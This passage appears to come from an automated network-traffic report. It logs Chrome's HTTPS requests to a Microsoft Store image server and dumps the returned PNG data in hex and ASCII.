33 f1 91 7b 9e 3c e8 7a 79 70 4a 57 7f bb 8c 01 b7 fc 09 6b c8 e1 1b c3 e2 5e b6 e7 50 fc 3b fa dd 57 7f ea cb bf b5 ce 9c 
be f9 73 c2 dd 4f 5c dd d0 75 ad f8 d5 27 5c 95 6c 4e bc 0d cc 4f 5c 16 1e 1f aa f2 3d f7 17 df f2 e2 ed f7 7c f6 df 94 f4 34 
e8 00 4f 29 fc 57 9b d6 ea 89 ec c7 ad 5b bd 
Data Ascii: 'Ep\zS]DtOc7OdBf^|[Wo4{bdb}Y'a%&/VJ H'*m|>tH@Ns~9gslo?3{<zypJWk^P;WsO\u'\lNO\=|4O)W[

2022-07-01 09:00:45 UTC 414 IN Data Raw: 54 cd 26 80 c4 55 75 a8 27 2c be c9 34 79 bd 04 da 20 68 66 5c 7c b1 77 aa ff af b5 b3 51 93 24 59 71 ec 77 
67 fb fd 1f 79 66 91 e0 60 72 0b 8f a8 ea 9d b5 db e9 80 10 02 37 ff c9 c8 ac ba dd 52 7a ac 3f c5 0f f2 15 64 2d 3e 16 aa 
e2 c4 e4 7f 19 d1 25 70 b1 a9 83 8f bd 39 fe 1d 96 40 1e 5c f9 fc 98 e6 0d ac 51 1a 3b 0f ae 45 6a 22 d7 79 b4 ca 69 c2 
59 f2 cd 51 ce 0f fc 49 76 9f b9 60 86 9f 17 ef a9 93 75 25 ee b0 6f c2 9e ad 1b 7a 8e 43 35 c8 45 ef 59 49 56 af 9a 87 6f 
f4 5d 9d b3 17 7b de 16 9e c3 bf fd d7 de c4 05 40 aa 86 31 47 4f d1 60 8a dd 57 67 2f 1d 2d 0d 10 ae 31 c7 03 ea 17 ee 
c5 b1 d6 24 55 42 8d dc ee f3 c4 44 68 e9 dc 4b b1 63 a9 c5 88 b5 7e 01 d1 6f d3 2e a9 28 00 e6 71 b9 f2 9c 8f b9 2b ab 
c4 20 c7 78 ae e2 77 ed e4 33 1e 68 46 db 42 d7 cd 
Data Ascii: T&Uu',4y hf\|wQ$Yqwgyf`r7Rz?d->%p9@\Q;Ej"yiYQIv`u%ozC5EYIVo]{@1GO`Wg/-1$UBDhKc~o.(q+ xw3hFB

2022-07-01 09:00:45 UTC 426 IN Data Raw: 4d aa 43 fd c3 2c 86 2a c8 e1 55 df 73 c9 0b df e0 c1 5c ab 10 47 56 5f b3 6e 4d 72 1f 37 15 f5 14 96 75 6d f4 
d3 40 19 8a 2a 1d 6f 4b d5 5b 73 74 74 51 3c c6 c4 5b 27 8d c1 fc 23 99 49 a3 5b be 79 43 de d9 89 d5 b0 d6 84 6e 90 
be e7 1b 3d 93 d0 eb b2 ae 8b 7e 72 b7 3e fc 37 6c 24 96 9f 1c e5 32 7e f3 13 83 2f 2c c7 4d fc f6 89 65 73 a1 8b 55 0e ff 
b6 e4 d4 93 87 46 98 d6 2f ae 72 7c 99 7c c7 73 12 ab 59 f1 37 3d e1 a2 93 97 1e 3e 39 30 c5 60 dc 33 f4 50 cc bd 77 df 
cb d4 a1 33 e3 29 b4 9e f2 ac d5 2f c0 75 0c 87 be 70 f9 14 84 35 7f e2 b7 bc 52 c6 a3 9e f9 37 67 0e 4d c5 6e bf 7e 24 
04 8c e6 82 bc 26 57 c6 9b 50 5c 0d 79 de 77 f0 ce 58 fc ed ee ae d4 31 74 87 be ec 4e 9b c0 09 50 f0 88 b3 ae 85 07 29 
53 b1 b8 7e 39 94 45 9b 0b e9 d3 9b 9a 0f 4d c8 2f 9a 
Data Ascii: MC,*Us\GV_nMr7um@*oK[sttQ<['#I[yCn=~r>7l$2~/,MesUF/r||sY7=>90`3Pw3)/up5R7gMn~$&WP\ywX1tN
P)S~9EM/

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

28 192.168.2.5 49770 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:45 UTC 298 OUT GET /image/apps.23070.9007199266246761.cc710c1e-2e5d-4241-97cb-d944f43f9af1.8e7acf32-4622-490b-b63f-
0ba9c0d9a24e?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:45 UTC 299 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Type: image/png
Last-Modified: Fri, 03 Jun 2022 23:39:57 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REE0NUJBNUUxQzE0ODQ"
MS-CV: khPkmUs4nEe0OA80.0
Access-Control-Expose-Headers: MS-CV
Content-Length: 8562
Date: Fri, 01 Jul 2022 09:00:45 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:45 UTC 300 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 
69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 6
9 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 
20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 
78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 31 2d 63 30 30 30 20 37 39 2e 39 63 63 63 34 
64 65 39 33 2c 20 32 30 32 32 2f 30 33 2f 31 34 2d 31 34 3a 30 37 3a 32 
Data Ascii: PNGIHDR0tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0
MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.9ccc4de93, 
2022/03/14-14:07:2

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

29 192.168.2.5 49771 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:45 UTC 299 OUT GET /image/apps.31225.13576748414566955.3d986480-8c1e-4271-9c7c-a90619002084.3ffd9abd-094d-4594-b6c3-
8e079298b84b?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:45 UTC 308 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 57945
Content-Type: image/png
Last-Modified: Wed, 23 Mar 2022 12:32:12 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEwQ0M5MjdCN0IxQTc"
MS-CV: ejMSje+zLkSN72MX.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:45 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:45 UTC 308 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 e2 
20 49 44 41 54 78 9c ec bd 77 80 25 47 75 2f fc 3b d5 7d c3 e4 99 9d cd 41 da 55 96 50 ce 12 20 24 81 44 14 98 64 d2 
c3 18 13 1c c0 0f 7f 36 f8 19 1b 07 1c 70 8e d8 04 63 8c 03 41 96 8c 79 20 a2 11 22 a3 9c d3 4a 2b 6d ce 93 67 6e ec ee 
aa f3 fd 51 1d aa bb ab fb de d9 5d 78 46 e8 68 74 b7 bb ba 72 d5 af 4e a8 44 b8 71 16 3f 6c a2 63 1d 1b 47 bf cb 8d 9c 
d3 fe cd 78 e2 c8 91 76 39 4a 8a a3 a2 63 1a ed d3 f4 14 22 f7 87 1b fd 51 c2 8f 72 38 a1 dc ef d1 e4 a7 24 9e 7c d2 a6 fb
91 a5 f8 34 0e 9f 26 1b 89 63 1c 1f 15 3c 2f 2b 86 4c 40 2e 70 ff e1 51 06 ea 66 d2 7c 74 d9 f8 91 15 e1 69 fa f1 a1 63 0d 
c2 0c cb 3a fa 18 e8 47 0b bf 12 8a b3 c1 e9 2c 2d 37 
Data Ascii: PNGIHDR,," IDATxw%Gu/;}AUP $Dd6pcAy "J+mgnQ]xFhtrNDq?lcGxv9Jc"Qr8$|4&c</+L@.pQf|tic:G,-7

2022-07-01 09:00:45 UTC 340 IN Data Raw: c3 d5 df 7b cb 05 df b8 63 cf 3f 7e 6d db 7e c9 4a 31 bc e0 d4 31 7a fe a9 55 77 81 9d 0a 93 60 7d 9a 40 34 
20 45 a3 07 63 58 35 5f 39 ff 8d bf 5f f5 d3 98 5d 4c 9d 82 61 cd 7f 5e c8 8c 5b bc 48 c8 e2 9c 4b 39 65 64 a5 cc 88 6f 22 
2a 93 81 bc d2 94 e9 75 66 b4 19 32 53 e9 49 25 43 03 95 83 b0 48 9a b0 3a 6a 38 94 a0 2e f6 53 12 55 2a 78 3a 8a 03 
b3 58 6a 8d b4 e7 5f 71 fb c7 b6 1c 7a 34 5c 10 c6 14 fa 63 8c 8c aa d7 fc 2c 4f ac f2 41 04 11 10 1c 26 01 35 a4 3a 5d 0e 
02 56 4c 15 97 05 1c 31 3b 54 bb ad ed 5d a0 30 a9 94 e4 e9 03 de 6d 77 23 02 48 bc 3b 90 63 a6 14 75 0b ad ee 39 57 
fc 34 aa 83 d0 57 c9 73 b4 67 90 38 9c 99 10 c4 f7 dc 84 d9 e9 30 08 a2 b5 dc 71 61 f3 dd ab 27 02 cd ca 2a 69 cb c8 82 
02 52 e4 48 67 c2 19 df 7d c0 bd e7 36 79 d1 b3 a4 d7 f6 
Data Ascii: {c?~m~J11zUw`}@4 EcX5_9_]La^[HK9edo"*uf2SI%CH:j8.SU*x:Xj_qz4\c,OA&5:]VL1;T]0mw#H;cu9W4Ws
g80qa'*iRHg}6y

2022-07-01 09:00:45 UTC 348 IN Data Raw: 55 1a b3 58 fd 95 2f 09 1d 71 e1 24 8b 66 ee 73 d9 d5 9f 38 53 ef 94 ed 82 48 b7 34 23 ba 9a 2b d3 1b 72 2b 
ca 54 7a b3 45 c5 c5 e4 c8 92 3b f4 89 93 5e 13 27 48 15 27 3c 09 58 93 d2 d7 38 29 7f 6a 5a 2d 75 12 16 c2 49 4a cc 60 
0e cb c9 c8 f6 da 70 b6 1f 88 36 f4 22 3c 0c 3b fa 8b 41 31 e5 8e 03 40 d5 35 6a 23 8d a8 bc 35 32 c3 1e 93 52 47 ad 96 
e5 6c e6 2a a1 a8 fb 9a 55 94 8d ca 84 6b ba 8f 67 a0 9e 09 9e 81 1f 10 1a 36 33 64 e9 08 91 ee c4 94 88 ee 49 67 8c 21 
f7 c3 00 5b 31 85 87 c3 9a 7d 2f 6e 3c 00 46 0f d4 64 ad 99 2c 1a b3 a3 63 d1 14 45 1e 7e 7d 14 9d 8d 2a 4b e6 58 0d 09 
bb a7 29 2f db 27 0c 23 35 d2 e5 67 b3 52 cc 12 e5 a2 8a 93 36 3d ac 18 85 a0 ff bb e9 f9 53 f5 49 fd 5d 8c d4 23 8f fa 78 
33 a5 4f 43 92 33 0b f9 ee 97 af 93 f4 78 48 f1 ca ed 
Data Ascii: UX/q$fs8SH4#+r+TzE;^'H'<X8)jZ-uIJ`p6"<;A1@5j#52RGl*Ukg63dIg![1}/n<Fd,cE~}*KX)/'#5gR6=SI]#x3OC3xH
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2022-07-01 09:00:45 UTC 364 IN Data Raw: ca 01 5c 01 5b fa a2 04 5f 42 26 00 58 2c d1 06 4b 2c bf 7b c1 02 b7 91 26 e3 4a 03 e7 d0 0f e8 7a 58 1b cc 
44 a9 1b d9 a5 86 89 8b 10 5c 63 55 fa ba c3 da ba e2 1d 03 ed 04 64 0e a6 47 88 9a f9 7c 6b 67 e7 4a d3 58 e7 dc c4 
5a e7 1c f3 53 1b 5b b7 9c 39 b8 74 df 25 7a f8 e8 6d 78 f6 31 77 e6 b6 c0 7b fa eb df 7a b0 39 77 77 df be 18 fa 0e b0 2e 
1c ae d6 0f 42 5e 0d c0 98 b4 ce 39 4b 04 30 9f 3c de 07 e7 30 ae e1 22 3f 28 c5 e3 1a 3d 02 87 33 8f 78 f4 81 0d e0 c0 
f2 c0 35 a0 21 5a 6f d7 4e af 9f f9 ba a1 7f e8 d1 fd 27 fe e9 53 5f f7 7e 43 e4 78 3c 5d aa 69 8d 69 6e b8 fb d9 1f f8 f3 4b 
cf fc a9 a5 e9 4b c7 ee b9 eb 8b df 37 bd a7 31 8d 03 06 b0 03 7a f0 f0 9e 7b 1f fc 99 3f fc d6 c5 72 cf 8f 91 ca 30 30 22 
99 d3 30 13 d4 2a d1 b9 b8 89 0c 64 55 4a d8 f4 
Data Ascii: \[_B&X,K,{&JzXD\cUdG|kgJXZS[9t%zmx1w{z9ww.B^9K0<0"?(=3x5!ZoN'S_~Cx<]iinKK71z{?r00"0*dUJ

2022-07-01 09:00:45 UTC 390 IN Data Raw: e8 37 a2 ca 65 ae 5e 27 5d df 95 75 c3 b4 3d 4a 0b e8 20 58 12 9e 2a 5c e3 94 53 c1 97 02 52 eb 54 e4 70 64 
04 55 fa 2b 19 90 8b aa e3 c7 73 72 4b 27 f5 2a 17 55 81 4b 29 c7 e1 72 a0 7e 61 76 cf 81 ed 4d e6 fc 3f 3d f2 2b 5f 67 
9e 76 d6 b7 cf 00 a6 4d 1b 0b cd c4 eb 5e 33 f1 63 33 a6 51 9e 30 86 a3 c6 04 83 13 1b ea c2 02 a7 30 89 3f 9e 07 e5 ac 
9f 2a 5c da e6 07 9f fc c9 4f ec 7e 1d 4f 37 dc da 76 22 b0 da 65 26 49 a3 1f 93 fc d7 02 7b 08 2a 51 66 6a 35 6f 94 dd 2b 
9d 03 e9 0f c2 c4 7f e3 7d 5c d3 56 9b 34 0e 9c d0 ec 01 54 0a 32 ef 97 b1 4b bb 85 12 fe 28 22 19 cb 33 87 59 31 01 65 
cf 47 d4 4e 65 d6 55 97 d0 55 19 2e 32 12 71 63 65 ea 54 2b dd e2 aa 55 ad ab 16 e7 e9 99 15 cb e1 08 71 89 a8 8e 10 
9c 3c fb 87 54 28 11 95 df 48 64 c6 4b ac 33 8e af 3c 0e 
Data Ascii: 7e^']u=J X*\SRTpdU+srK'*UK)r~avM?=+_gvM^3c3Q00?*\O~O7v"e&I{*Qfj5o+}\V4T2K("3Y1eGNeUU.2qc
eT+Uq<T(HdK3<

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

3 192.168.2.5 49730 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:34 UTC 57 OUT GET /image/apps.10288.13753891519397067.8011a592-e549-44a6-8073-41dcd83eddbe.12bb65f7-1014-4469-bb2e-
59f575e79b05?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:34 UTC 62 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1821
Content-Type: image/png
Last-Modified: Thu, 31 Mar 2022 05:44:16 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REExMkQ5N0UzREU4ODQ"
MS-CV: opsyL7UQw0OK0Svs.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:34 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:34 UTC 62 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
06 e4 49 44 41 54 78 01 ec d2 31 15 00 00 04 00 51 94 b3 08 a3 ff 24 83 fd ff 08 f7 2e 7b 27 be a0 24 c0 38 18 07 e3 60 
1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 18 07 8c 83 71 30 0e c6 c1 38 60 1c 8c 83 71 30 0e c6 01 e3 60 1c 8c 
83 71 30 0e 18 07 e3 60 1c 8c 83 71 c0 38 18 07 e3 60 1c 30 0e c6 c1 38 18 07 e3 80 71 30 0e c6 c1 38 1c 7b 67 0d 25 4
9 72 04 d0 1f dd b3 bc 2b 66 26 47 cc cc 6c 09 3d b1 e4 8a d1 16 79 42 4b b6 ce 77 74 8e c8 12 93 75 cc cc cc 77 83 5d 
f1 f5 b6 df d4 7b 95 2f 7b 8e bb 7a 21 bf 53 d8 fc 37 22 2a a3 72 e7 94 66 8d 93 90 ff be f0 e7 4f 3a 72 ec c8 b7 c0 f7 31 
c0 ae 63 21 5d 32 44 93 82 ce e1 41 e8 c9 04 4a b2 df 67 d2 63 
Data Ascii: PNGIHDR0IDATx1Q$.{'$8`08q08q08`q0`q0`q8`08q08{g%Ir+f&Gl=yBKwtuw]{/{z!S7"*rfO:r1c!]2DAJgc

Session ID Source IP Source Port Destination IP
Destination
Port

Process

30 192.168.2.5 49774 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:45 UTC 428 OUT GET /image/apps.32938.13925855090824389.09f473d9-ce97-499c-9d53-c21e8f64ee62.721cfb02-7935-45dc-9d66-
2d6e6b2ff76c?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-07-01 09:00:45 UTC 429 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 16325
Content-Type: image/png
Last-Modified: Fri, 29 Apr 2022 10:42:47 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4REEyOUNEMDAxMzU3OTU"
MS-CV: zhWxFSME9UiFbJ9+.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:45 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:45 UTC 429 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 44 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 01 87 69 00 04 00 00 00 01 00 00 
00 1a 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 8e a0 03 00 04 00 00 00 
01 00 00 00 8e 00 00 00 00 b6 9a 42 80 00 00 3f 2f 49 44 41 54 78 01 cd 9d 59 ac 6d db 51 9e e7 bd f7 b8 37 6e e9 4c 67 
dc 80 6d 7a 22 ba 10 9a 00 7e 08 a4 e3 c1 90 28 34 12 e1 21 41 28 4a 88 10 21 02 d2 10 81 02 02 89 80 88 20 0f 09 88 
2e 40 12 d1 93 20 08 84 46 01 0c 08 08 04 1b 30 18 6c 82 e9 6d 63 83 fb 9b fa fe aa bf 66 cd b1 e6 3a e7 1a fb 9e ed 71 
cf 9a 55 f5 d7 5f 35 6a 8e 51 7b ac b9 f6 de e7 dc 7b b6 6f fa 77 f7 
Data Ascii: PNGIHDR0sRGBDeXIfMM*iB?/IDATxYmQ7nLgmz"~(4!A(J! .@ F0lmcf:qU_5jQ{{ow

2022-07-01 09:00:45 UTC 445 IN Data Raw: c4 3a 8f 63 58 2f eb 92 5e bf c1 25 c6 9c 95 ef 9c f8 ad af 1c de 55 1c ef 39 92 5f ff 13 10 07 57 0e 89 07 82 35 
07 a5 6e e4 76 39 9a 1f 24 e9 dc ec 1a bb e4 e9 98 50 dc 80 96 c4 fa ab 8c 79 cd 45 f2 22 fd 5c f0 30 0f 1c db 33 ee 0c 
9b 7e eb f0 18 b6 cf e6 c1 e7 97 b9 17 76 dd ef 05 3e 62 db 07 17 23 e4 6c 8a f6 af 31 4b 6e 78 0c f3 0f 72 70 2f 38 c3 e7 
98 8b ff 73 80 93 6b 86 71 69 3c 14 f4 c8 d5 1b 79 da 34 0e a8 49 47 aa 5e 6c b0 6e 02 f4 41 ba d0 2b 8f e6 35 77 e4 36 
7f ca b9 99 13 67 9a 69 4f dd 3e b0 33 1c 3f 63 fa 56 ee 99 4d 8c ea a9 9a cd 99 d2 79 2f b0 19 c3 02 c4 58 ef 6d c6 f8 8b 
69 62 c4 4c db 1c 76 92 4f b8 e9 1b 27 0c 73 06 e8 fd 99 b1 e4 ba 45 84 9c 78 aa 28 61 78 e7 a8 44 86 34 31 31 cb e8 5c 
81 cb 6d ce 1a 4f 1c f3 d5 bc fe 4a 32 3d 83 
Data Ascii: :cX/^%U9_W5nv9$PyE"\03~v>b#l1Knxrp/8skqi<y4IG^lnA+5w6giO>3?cVMy/XmibLvO'sEx(axD411\mOJ2=

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

31 192.168.2.5 49775 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:46 UTC 445 OUT GET /image/apps.41671.13634052595610511.c45457c9-b4af-46b0-8e61-8d7c0aec3f56.86b1d82d-8b47-4bda-99fc-
8a1db0a7ac9d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:46 UTC 445 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5350
Content-Type: image/png
Last-Modified: Fri, 04 Jun 2021 08:47:13 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkyNzM1NTkzRDcwQUQ"
MS-CV: a3126vjzV0e5osTv.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:46 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:46 UTC 446 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 
00 00 0e c3 01 c7 6f a8 64 00 00 14 7b 49 44 41 54 78 5e ed 9d 09 78 15 d5 dd c6 c9 06 81 00 21 0b 01 12 b2 90 3d 81 0
0 05 51 91 45 64 91 55 10 a4 22 8b 02 22 d6 ad ee 68 f5 43 1f 17 6c 6b eb 57 b7 56 11 fc 5c 70 69 7d c4 16 7d 28 da 16 f
7 52 45 11 a1 ee 15 10 01 b5 52 10 42 36 b2 cd fb bd ff 99 9b 10 d2 03 4c 92 99 7b e7 de 7b de e7 f9 3d 97 84 64 ce 99 f
3 7f 73 ce 99 39 5b 3b 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d ad b0 56 1c c9 23 63 c9 c5 e4 4e 
f2 0c 59 4f 3e 21 df 92 72 52 47 40 ea 49 19 f9 8e 7c 4c e4 e7 9e 
Data Ascii: PNGIHDR0sRGBgAMAapHYsod{IDATx^x!=QEdU""hClkWV\pi}}(RERB6L{{=ds9[;---------------------V#
cNYO>!rRG@I|L

Session ID Source IP Source Port Destination IP
Destination
Port

Process

32 192.168.2.5 49776 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:46 UTC 451 OUT GET /image/apps.54145.14618985536919905.4b30e4f3-f7a1-4421-840c-2cc97b10e8e0.0df01b4e-7fca-47eb-b3d7-
95ba7990754d?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:46 UTC 451 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 64662
Content-Type: image/png
Last-Modified: Fri, 25 Jun 2021 08:37:44 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDkzN0I0ODBBM0YxNTA"
MS-CV: ++gJr3axoUmfcmGL.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:46 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:46 UTC 452 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 06 00 00 00 79 7d 8e 75 00 00 
00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 80 00 49 44 41 54 78 9c bc bd 09 b8 6f 59 55 1f f8 3b f7 
fe ef 7d f7 0d f5 6a 1e a1 0a aa 8a c2 82 02 0b d0 56 51 89 46 0d 11 e4 d3 0e 26 86 88 51 8c f9 3a e9 f8 35 26 e9 b6 cd 
64 ba e3 67 d2 6d d2 d1 b4 b6 6d 12 35 6a 6c 8d 60 68 47 44 01 03 11 30 32 c8 20 83 54 51 14 54 51 f3 5c 6f 7e 77 3a 
7d 86 bd f6 fe ad 61 9f 73 ee 83 f4 f9 ea d5 b9 ff 73 f6 59 7b ad b5 d7 fa ed b5 f6 de 67 9f 15 5e ff 86 4f 63 7d e3 12 ec ed 
02 0d 30 fc 4f 9d a3 6b 4d be ec ee 0f 27 be df fd 6f ad 3f af 99 7b a6 cc d4 3d 2e 33 c9 9f f9 bb b1 cf f4 6c 54 f8 58 2a 77 
ed 5e db d3 6e c6 f3 14 ff 4d d2 c5 5a ed 5e 4d d7 
Data Ascii: PNGIHDR,,y}upHYsodIDATxoYU;}jVQF&Q:5&dgmm5jl`hGD02 TQTQ\o~w:}assY{g^Oc}0OkM'o?{=.3lTX*w^
nMZ^M

2022-07-01 09:00:46 UTC 468 IN Data Raw: 69 75 e5 8e 75 32 fc 95 db af c4 15 87 57 59 47 c3 73 9d d3 fe f2 1d 4f e2 74 bf 0b 44 a7 87 b6 07 f3 ae c0 b5 
97 6e e1 d5 cf b9 18 af 7a f6 71 bc e0 f2 2d 5c dd 81 cc c6 7a f1 b4 5e de 87 ce ec e1 5d 0f 9e c1 4f 7e ec 49 fc c1 3d a7 
d0 6e ae 0d 75 0f 18 de d3 e9 44 bc ee d2 43 78 f5 8d c7 f0 ca eb 8f e2 b6 4b 37 71 75 07 20 87 56 6b ca ea 4f 74 40 fa 
81 c7 b7 f1 d3 77 9e c4 af dc 75 ba 8b b8 3a e9 d6 d7 8c 07 16 af 89 66 66 db 5e df 5d 95 37 5e ba 81 6f bd 61 0b 2f bf 66 
13 cf 3b be c2 95 1d 00 1e 5a d7 9d 5f 6f 0f 8f 77 a0 f5 89 13 7b f8 9d 87 b6 f1 cb 9f 3b 8f 07 4f ee 0e bb 60 94 6a 5b 0f 5a 
11 38 28 27 67 57 3a c0 98 56 00 26 39 92 37 65 60 68 28 be 84 60 be 36 bd e4 21 97 83 97 07 82 16 01 68 d9 f1 b8 fe 
7f e3 40 45 6b 6b 2a 67 b7 57 10 04 5c 6c 8f 
Data Ascii: iuu2WYGsOtDnzq-\z^]O~I=nuDCxK7qu VkOt@wu:ff^]7^oa/f;Z_ow{;O`j[Z8('gW:V&97e`h(`6!h@Ekk*gW\l

2022-07-01 09:00:46 UTC 484 IN Data Raw: 36 a5 ef 1b db b8 dc 83 a2 6c 43 8c 72 aa c4 8c 59 bd f8 5b e3 0a da cf 13 53 3a b3 b2 49 6d 70 bb ab a7 0b 
53 c6 2d 3b 5a c7 b5 ec a8 61 bf 01 14 37 62 6a dc d2 56 71 1d 7b 55 f9 7b b0 e5 d3 62 9c b1 19 76 33 68 d8 cf 27 df 7a 
